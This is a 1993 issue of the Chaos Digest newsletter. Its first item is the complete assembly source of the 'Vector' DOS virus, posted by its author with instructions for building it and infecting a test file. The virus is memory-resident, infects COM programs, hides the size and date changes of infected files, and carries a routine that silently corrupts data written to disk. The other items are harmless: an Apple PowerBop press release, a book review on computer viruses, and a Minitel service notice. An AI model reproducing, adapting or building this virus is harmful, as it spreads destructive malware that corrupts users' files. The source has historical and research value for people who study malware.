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- Chaos Digest Lundi 7 Juin 1993 Volume 1 : Numero 45
- ISSN 1244-4901
-
- Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
- Archiviste: Yves-Marie Crabbe
- Co-Redacteurs: Arnaud Bigare, Stephane Briere
-
- TABLE DES MATIERES, #1.45 (7 Juin 1993)
- File 1--Le virus Vector (essai d'ecriture)
- File 2--PowerBop, le portable Apple communicant sans fils (technique)
- File 3--Critique de _Computer Virus Handbook_ de Highland (livre)
- File 4--L'annuaire electronique [11] en langues etrangeres (acces)
-
- Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
- available at no cost by sending a message to:
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- with a mail header or first line containing the following informations:
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-
- The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
- or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
- 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
- groups.
-
- Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
- 466893. Back issues of ChaosD can be found on the Internet as part of the
- Computer underground Digest archives. They're accessible using anonymous FTP:
-
- * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
- * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
- * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
- * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
- * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
- * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
- * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
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-
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-
- DISCLAIMER: The views represented herein do not necessarily represent
- the views of the moderators. Chaos Digest contributors
- assume all responsibility for ensuring that articles
- submitted do not violate copyright protections.
-
- ----------------------------------------------------------------------
-
- Date: Wed, 2 Jun 1993 14:03:46 +0100 (WET DST)
- From: NTH@altern.com (Necros the Hacker )
- Subject: File 1--Le virus Vector (essai d'ecriture)
-
-
- The Vector Virus
- by
- Necros the Hacker
-
-
- This is a fairly simple virus I wrote a while back. However, for its size
- it has some nice features, including
-
- * memory resident in the interrupt vector table;
- * hides file size increases;
- * infects COM programs on opening or execution;
- * small and subtle, but nasty, damage routine.
-
- The main aim of the virus was to write something small and well-coded. At
- 376 bytes it's not tiny but it's small enough to fit into the interrupt
- vector table. The side effects of placing the virus in the interrupt table
- are that it may conflict with other programs which use the interrupts, but
- more importantly it can go resident without users noticing a decrease in
- system memory.
-
- Ok, so that's the idea behind it. Now what does it do? Well, it's resident
- in memory and infects COM programs when they're opened or executed. Notice
- that's COM *programs*, not just files. It checks to see if the file is
- actually a COM program with an EXE extension too. The virus has a timer
- which counts up to 0FFFh & when this number of writes takes place in DOS
- with the virus resident, it performs its damage. The damage is simply to
- chnage the data that was written subtly --- a byte is dropped from the
- start of the written block & appened to the end. So there's no change in
- size of the file that was written. For EXE programs or archive programs or
- backup programs this sort of error can ruin the whole file. At least it
- makes the job of recovering the undamaged data from the damaged stuff very
- difficult.
-
- The virus also hides file size increases. Each infected file has its date
- increased by a century, so it won't appear as being different in listings.
- Only FCB calls are intercepted & massaged into subtracting the virus'
- length. I couldn't be bothered to do it for handle calls cos FCBs are used
- in the DOS dir command.
-
- Anyway, I present this code more as a demonstration of how to do some
- common things efficiently. I'm mainly interested in writing good code, so
- if anyone's got any suggestions on how to make it better, you can comment
- here if the list maintainer is in agreement.
-
- Oh, one last thing. The assembler code is turned into a COM program using
- tasm & tlink. The resultant program is actually an infector of a program
- called test.com. Just create a simple 3-byte program & then run
- vector.com which will infect the test program. There's a message at the
- end of the virus which can be removed if you want. Don't just overwrite it
- with your own. Removing it is a matter of moving the line just after
- message db . . . to just before it. Another thing you might want to modify
- is the damage timer . . . change 0fffh in the code to some other value.
- I'll leave you figure out what to change it to yourself. It shouldn't be
- too dificult :)
-
- Have fun,
- NTH
-
- ---------------------------------------------------------------------------
- ;VECTOR.ASM Written by Necros the Hacker 12 Aug 1991
- ;TSR virus which resides in interrupt table
-
- model tiny
- code
- org 100h ;makes no difference - relocatable
- start:
- jmp shell ;the non-resident part of the virus
- ;the three previous bytes are overwritten with host's first bytes
- org 103h
- repair:
- mov si,[ds:101h] ;find offset of virus from 100h
- mov di,100h ;place to write original file bytes
- push di
- add si,di ;si is now start of virus
-
- cld
- movsb
- movsw ;restore start of host
-
- push es
- xor bx,bx ;suitably unused register
- mov es,bx
- mov cx,[es:0084h] ;offset of int 21 handler
- mov dx,[es:0086h] ;segment of int 21 handler
- push ax
- mov ax,4bf1h
- int 21h
- mov di,ax
- pop ax
- cmp di,0abc0h ;signature
- jz restart_host ;already installed
-
- sub si,3 ;point to start of virus again
-
- ;code to make resident and hook vectors
- ;first save the old vector (in this copy)
- mov (old_int_21-100h)[si],cx
- mov (old_int_21-0feh)[si],dx
-
- ;now make the copy!
- mov di,07bh*4
- mov cx,virus_length
- rep movsb
-
- ;now hook the vector proper
- cli
- mov [es:0084h],offset handler_offset
- mov [es:0086h],cx
- sti
-
- ;and fall through to restart the host
-
- restart_host:
- pop es
- ret ;start host (note AX unchanged by virus)
-
- jump_buf_offset equ $-100h+07bh*4
- jump_buf db 0e9h,0,0 ;jump to replace start of host
-
- modify_dir proc near
- pushf
- call dword ptr cs:chain_offset
- cmp al,0ffh
- je ret_error
- push es
- push bx
- push ax
- mov ah,2fh
- int 21h
- cmp byte ptr es:[bx],0ffh ;is extended FCB?
- jne not_extended
- add bx,7
- not_extended:
- cmp byte ptr es:[bx+1ah],51 ;year>2105 AD?
- jbe no_mods
- sub word ptr es:[bx+1dh],virus_length
- no_mods:
- pop ax
- pop bx
- pop es
- ret_error:
- iret
-
- modify_dir endp
-
- ;new int 21 handler
- even ;although the virus is relocatable, it will
- ;always be on an even address when resident
-
- chain_offset equ $-100h+07bh*4 ;alsolute address to chain to
- old_int_21 dw 0,0
-
- handler_offset equ $-100h+07bh*4
- new_handler proc
- cmp ax,4bf1h ;residency request
- jne is_dir
- mov ax,0abc0h
- iret
-
- is_dir:
- cmp ah,11h
- je modify_dir
- cmp ah,12h
- je modify_dir
-
- cmp ah,40h ;write?
- jne is_open
- cmp bl,3 ;don't affect stdout/stderr/stdin
- jb damage_ok
- inc dx ;perform damage
- dec word ptr cs:[offset counter_offset]
- jz damage_ok
- dec dx ;not time for damage, so undo it
- damage_ok:
- and word ptr cs:[offset counter_offset],0fffh
- jmp normal_handler
-
- is_open:
- cmp ah,3dh ;open file (read only)
- jne is_exec
-
- ;infect only COM (or EXE) files when opened
- push ax
- push si
- mov si,dx
- cld
- find_extension:
- lodsb
- or al,al
- je no_infect
- cmp al,'.' ;look for the extension
- jne find_extension
-
- ;OK now check to see if the extension is COM or EXE
- lodsb
- or al,20h
- cmp al,'c'
- jne try_exe
- lodsw
- or ax,2020h
- cmp ax,'mo'
- jne no_infect
- je eligible
- try_exe:
- lodsw
- or ax,2020h
- cmp ax,'ex'
- jne no_infect
- eligible:
- pop si
- pop ax
- jmp infect_file
-
- no_infect:
- pop si
- pop ax
- jmp normal_handler
-
- is_exec:
- cmp ax,4b00h ;EXEC?
- jne normal_handler
-
- infect_file:
- ;code to infect the file
- push ax
- push bx
- push cx
- push dx
- push ds
-
- ;open the file for infecting
- mov ax,3d02h
- xor cx,cx
- pushf
-
- call dword ptr cs:chain_offset
- jc restore_regs
- mov bx,ax
-
- push cs
- pop ds
-
- mov ah,3fh ;read from handle
- mov cx,3 ;first three bytes
- mov dx,07bh*4h ;to start of virus (jumped over)
- int 21h
- jc no_date_set ;only small files
-
- cmp ds:[07bh*4],'ZM' ;EXE file?
- je no_date_set
-
- mov ax,5700h ;get time and date stamp
- int 21h
- push cx
- push dx
- cmp dh,51 ;year>=2005 (1980+25+1 from month)
- ja close_file
-
- pop dx
- add dh,200 ;gives same year in next century
- push dx ;will be set before closing
-
- mov ax,4202h ;LSEEK to end of file
- xor cx,cx
- xor dx,dx
- int 21h
-
- mov word ptr offset jump_buf_offset+1,ax ;save length of host
-
- ;while we're here, append the virus
- mov ah,40h
- mov cx,virus_length
- mov dx,07bh*4
- int 21h
- jc close_file
-
- mov ax,4200h ;LSEEK to start of file
- xor cx,cx
- xor dx,dx
- int 21h
-
- mov ah,40h ;write with handle
- mov cx,3
- mov dx,offset jump_buf_offset
- int 21h
-
- close_file:
- pop dx
- pop cx
- mov ax,5701h ;reset time and date
- int 21h
- no_date_set:
- mov ah,3eh
- int 21h
- restore_regs:
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
-
- normal_handler: ;either open or EXEC
- jmp dword ptr cs:chain_offset
- new_handler endp
-
- counter_offset equ $-100h+07bh*4
- counter dw 0 ;when counter reaches zero, byte is "lost"
-
- message db 'V3.0 [VECTOR] (c) Necros the Hacker',10,13
- db 'Written Aug 1991 in Tralee, Ireland',10,13
-
- virus_length equ $-start
-
- shell:
- ;open the file for infecting
- mov ax,3d02h
- xor cx,cx
- mov dx,offset filename
- int 21h
- jc shell_error
- mov bx,ax
-
- mov ah,3fh ;read from handle
- mov cx,3 ;first three bytes
- mov dx,0100h ;to start of virus (jumped over)
- int 21h
- jc shell_error
-
- mov ax,4202h ;LSEEK to end of file
- xor cx,cx
- xor dx,dx
- int 21h
-
- mov word ptr jump_buf+1,ax ;save length of host
-
- ;while we're here, append the virus
- mov ah,40h
- mov cx,virus_length
- mov dx,0100h
- int 21h
- jc shell_error
-
- mov ax,4200h ;LSEEK to start of file
- xor cx,cx
- xor dx,dx
- int 21h
-
- mov ah,40h ;write with handle
- mov cx,3
- mov dx,offset jump_buf
- int 21h
-
- mov ah,3eh
- int 21h
-
- exit_stub:
- mov ax,4c00h
- int 21h
- shell_error:
- mov ah,9
- mov dx,offset err$
- int 21h
- jmp exit_stub
- err$ db 'Error infecting file',10,13,'$'
- filename db 'test.com',0
- end start
-
- ------------------------------
-
- Date: Fri Jun 4 12:07:00 -0600 1993
- From: cccf@email.teaser.com (cccf )
- Subject: File 2--PowerBop, le portable Apple communicant sans fils (technique)
-
- Apple European R&D extends mobile computing
- with wireless communications
-
-
- Paris La Defense, June 4, 1993--With PowerBop, the first notebook
- integrating cordless communications technology, recently launched in
- France, Apple European R&D extands mobile computing and enhances
- communications capabilities. PowerBop, the newest model of the popular
- PowerBook series, offers the highest degree of autonomy on the notebook
- computer market today.
-
- The ongoing technical cooperation between Apple European R&D Centre based
- in Paris, and France Telecom, the French PTO operator resulted in the
- integration of radio capabilities with notebook computers making it
- possible to connect them to Telepoint services. Telepoint is expanding
- more and more in Europe and uses the most affordable wireless technology
- available today.
-
- Apple European R&D focuses primarily on modems, on telecommunications in
- mobile computers and on products that comply with OSI (Open System Inter-
- connection) standards.
-
-
- PowerBop: A new dimension in communications freedom
- +---------------------------------------------------
-
- PowerBop brings notebook users an added dimension of freedom, above and
- beyond the inherent benefits of Apple's popular PowerBook models. The
- PowerBop contains a radio modem conform to the CT2 Telepoint standard in
- accordance with the Common Air Interface (CAI), adopted in June 1991 on an
- European level. The CT2 standard allows a new generation of personal
- telephones. Their owners are able to use them in public places in large
- cities, at home as a traditional cordless phone and in the office via PBX
- extensions.
-
- Within the PowerBop, the radio modem CT2 provides the ability to connect
- it to a full range of communications services, at any time, from any place
- that is located between 20 and 500 meters from the base station of the
- Pointel network "Bi-Bop", launched by France Telecom in Paris and
- Strasbourg on April 22,1993. These services include: access to the France
- Telecom videotex service "Minitel", message and file exchange, fax
- transmission, access to servers and databases.
-
- Thanks to the low energy consumption of the CT2 technology, the PowerBop
- retains its 1 - 1/2 to 2 hours of endurance when the wireless modem is
- being used.
-
- The PowerBop features all the advantages of the PowerBook 180, Apple's
- high-end notebook. The internal floppy disk drive is replaced by the CT2
- modem which means that users do not need to carry any additional equipment
- to communicate via the telepoint network. An external floppy disk drive is
- supplied as a standard accessory.
-
- Like the Bi-Bop pocket phone designed and developped by France Telecom, the
- Apple PowerBop has a small antenna which folds into a special slot.
-
- The Express Modem provided as standard equipment inside the PowerBop,
- offers a full range of communications functions:
-
- * access to one of the 15,000 Minitel services;
- * fax transmision (reception will be available on the French
- network from Septembre 1993);
- * data transmission from 300 to 14,400 bps.
-
- The Express Modem can either be connected directly to a telephone line or
- use the Bi-Bop network for wireless communications up to 9,600 bps.
-
-
- Digital Cordless Market
- +-----------------------
-
- European operators view telepoint as a mass market application for wireless
- telephones. At the present time, no European country offers a nationwide
- commercial telepoint service. However there are currently a number of
- networks of this type spreading out. Mainly, in the UK, Netherlands,
- Finland and Belgium.
-
- In other parts of the world, others such developments are under way, in
- Asia, Australia, Canada and the United-States.
-
- On the sales side, it appears that all the operators have a common desire
- to implement a pricing structure to allow this technology to be affordable
- for a consumer market.
-
-
- France Telecom's new Bi-Bop service
- +-----------------------------------
-
- France Telecom took a leading role in the development of European telepoint
- services. On April 22, France Telecom launched the Bi-Bop cordless digital
- pocket phone in Paris. The system which employs the CT2 cordless standard,
- sets up a digital radio link between the Bi-Bop terminal and a public or
- home base station.
-
- The Bi-Bop service covers three main types of use:
-
- * Public use: Bi-Bop subsribers can call anywhere in the world from
- major cities, starting with Paris and Strasbourg. The network is
- designed to cover major thoroughfares and public places. Today, some
- 3,000 base stations (4,000 by fall 1993) span Paris and the greater
- Paris area (Ile-de-France) and the network will be progressively
- extended to other areas. Starting in September 1993, subscribers will
- also be able to receive calls, and PowerBop notebook users will have
- fax reception capacities;
-
- * With a private home base station connected to a standard telephone
- outlet, the PowerBop is transformed into a high-performance mobile
- computing tool allowing one to access all private communications
- services;
-
- * Wireless PBXs are available to companies, allowing PowerBop users
- anywhere at a site, for example, to benefit from the same computing
- environment as if the user was at his desk. The PowerBop can also
- become a mobile fax terminal.
-
-
- Availability
- +------------
-
- The PowerBop will be available through certified Apple Computer France
- distributors in June 1993. PowerBop owners must have a special telephone
- subscription with France Telecom.
-
-
- Nota Bene
- +---------
-
- At this time, I am in a luxurous cafe on the Champs-Elysees in Paris in
- holidays and I send this note to ChaosD with my PowerBop... without any
- problem...
-
- ------------------------------
-
- Date: Fri Jun 4 12:07:00 -0600 1993
- From: roberts@decus.arc.ab.ca ("Rob Slade, DECrypt Editor, VARUG NLC rep )
- Subject: File 3--Critique de _Computer Virus Handbook_ de Highland (livre)
- Copyright: Robert M. Slade, 1993
-
-
- Elsevier
- Mayfield House
- 256 Banbury Road
- Oxford OX2 7DH
- England
- 655 Avenue of the Americas
- New York, NY 10010
- USA
- 212-989-5800
- fax: 212-633-3990
-
- Computer Virus Handbook, Harold Joseph Highland
- 1990, 0-946395-46-2
-
- When Dr. Highland first offered to send me a copy of this work, late in 1992,
- he indicated that it was outdated. In some respects this is true. Some of
- the precautions suggested in a few of the essays which Dr. Highland did not
- write tend to sound quaint. As one example, with the advantage of hindsight,
- Jon David's ten page antiviral review checklist contains items of little use,
- and has a number of important gaps. However, for the "general", rather than
- "specialist" audience, this work has much to recommend it. The coverage is
- both broad and practical, and the information, although not quite up to date,
- is complete and accurate as far as it goes.
-
- The book starts with, as the title has it, "Basic Definitions and Other
- Fundamentals". Dr. Highland has collected definitions from a number of
- sources here, which makes a refreshing change from some of the dogmatic
- assertions in other works. The fact that the reader is left to make his own
- final decision as to a working definition might be frustrating to some, but
- is likely reasonable given that the argument over the definition of a virus
- is still raging to this day. With the changes that are still taking place
- in terms of new "forms" of viral programs, it is unlikely that this debate
- will be settled any time soon.
-
- Chapter one also contains important background information on the operation of
- the PC and the structure of MS-DOS format disks. The one shortcoming might be
- that so much of the book deals with MS-DOS machines that readers dealing with
- other systems may fail to note the generic concepts contained therein.
-
- Chapter two is a concise but encompassing overview of the viral situation by
- William Hugh Murray. Using epidemiology as a model, he covers the broad
- outline of viral functions within a computing "environment", and examines some
- theoretical guidelines to direct the building of policy and procedures for
- prevention of viral infection. The article is broadly helpful without ever
- pushing the relation between computer viral and human epidemiology too far.
-
- Chapter three deals with history and examples of specific viral programs. This
- section is an extremely valuable resource. While other works reviewed have
- contained similar sections, the quality of this segment in Highland's tome is
- impressive. Mention must be made of the reports by Bill Kenny of Digital
- Dispatch who provides detailed and accurate descriptions of the operations of
- a number of viral programs which are, unfortunately, all still too common.
- (Chapter four is similar, containing three reports of viral programs from
- other sources.)
-
- Large sections of the handbook deal with the evaluation and review of
- antiviral software. (I must say that I had great sympathy with that part of
- the preface which dealt with some experiences encountered when trying to
- test various packages.) Chapter five gives an evaluation protocol and test
- methodology. The detail here may lead some to skip over it, but it is
- helpful to those who wish to determine how thoroughly the testing was
- conducted. Chapter six, an article by Jon David as mentioned earlier, is
- a suggested procedure and checklist for testing antiviral software. This
- chapter is unfortunately weak, and although there is some valuable direction,
- one comes away with the impression that the important thing to test is
- whether the program runs on a VGA monitor and has a bound manual. One must,
- of course, realize that antiviral testing was then in its infancy, and Mr.
- David's article reflects the general tone fo those times. Chapter seven is
- concerned with specific product evaluations, and, as most lists of its type
- do, shows its age. Of the twenty products listed, I recognize only seven
- as still being in existence,; of those that still do exist four have changed
- substantially in the intervening three years.
-
- Chapter eight is an essay by Harry de Maio entitled "Viruses - A Management
- Issue", and it must be considered one of the "forgotten gems" of virus
- literature. It debunks a number of myths, and raises a number of issues
- seldom discussed in corporate security and virus management. Chapter nine
- is similar, being Dr. Highland's suggested procedures for reducing the risk
- of computer virus infection.
-
- Chapter ten is a collection of essays on theoretical aspects of computer virus
- research and defence. Fred Cohen is heavily represented here, of course, but
- not as singularly as in, for example, Hoffman's "Rogue Programs".
-
- Dated as the book may be in some respects, it is still a valuable overview
- for those wishing to study viral programs or the defence against them,
- particularly in a corporate environment. While some may find the book to
- be "academic" in tone, it never launches into "blue sky" speculations: all
- of the material here is realistic. The "aging" of the product reviews makes
- it difficult to consider it still a reference "handbook" or a "how to"
- resource, but Dr. Highland's work is by no means to be discarded yet.
-
- +++++++++++++++
- Vancouver ROBERTS@decus.ca | "Do you get guns with your
- Institute for Robert_Slade@sfu.ca | gun magazines? No.
- Research into rslade@cue.bc.ca | Do you get viruses with your
- User p1@CyberStore.ca | virus magazines? Yes."
- Security Canada V7K 2G6 | - Kevin Marcus
-
- ------------------------------
-
- Date: 03 Jun 93 23:59:59 GMT
- From: jbcondat@attmail.com (Jean-Bernard Condat )
- Subject: File 4--L'annuaire electronique [11] en langues etrangeres (acces)
- Repost from: telecom3.373.2@eecs.nwu.edu
-
-
- Since the beginning of February, the French "Annuaire Electronique" is
- available in Italian language. You can access it, from France, by
- dialing 3614 code RAE, and from other countries, by MinitelNet or by a
- telephone line: +33 36 43 14 14 code RAE (Ricerca Annuario
- Elettronico).
-
- +----------------------------------------+
- | *R*icerca |
- | *A*nnuario |
- | *E*lettronico |
- | |
- | 1 Ricerca di un abbonato |
- | |
- | 2 LA POSTA : codice di |
- | avviamento postale |
- | |
- | 3 Sapere tutto sull'elenco |
- | elettronico |
- | |
- | 4 Sapere tutto sul minitel |
- | |
- | 5 L'elenco elettronico |
- | e teletel dall'estero |
- | |
- |----------------------------------------|
- | N! scelto: ... poi Invio |
- | (C) France Telecom 1992 |
- +----------------------------------------+
-
- For all versions, all diagnostics, instructions and list of
- professionnals are translate into the appropriate language. Five
- different options are available: "Search for a subscriber", "The Post
- Office: Postal Code", "All you need to know about the Electronic
- Directory", "All you need to know about the Minitel", "Electronic
- Directory and Teletel from abroad".
-
- Called the "11" in France, this service is already available in:
-
- * English: 3614 code ED [Electronic Directory];
- * Spanish: 3614 code GTE [Guidia Telefonica Electronia];
- * German : 3614 code ETB [Elektronisches Telefonbuch].
-
- ------------------------------
-
- End of Chaos Digest #1.45
- ************************************
-
-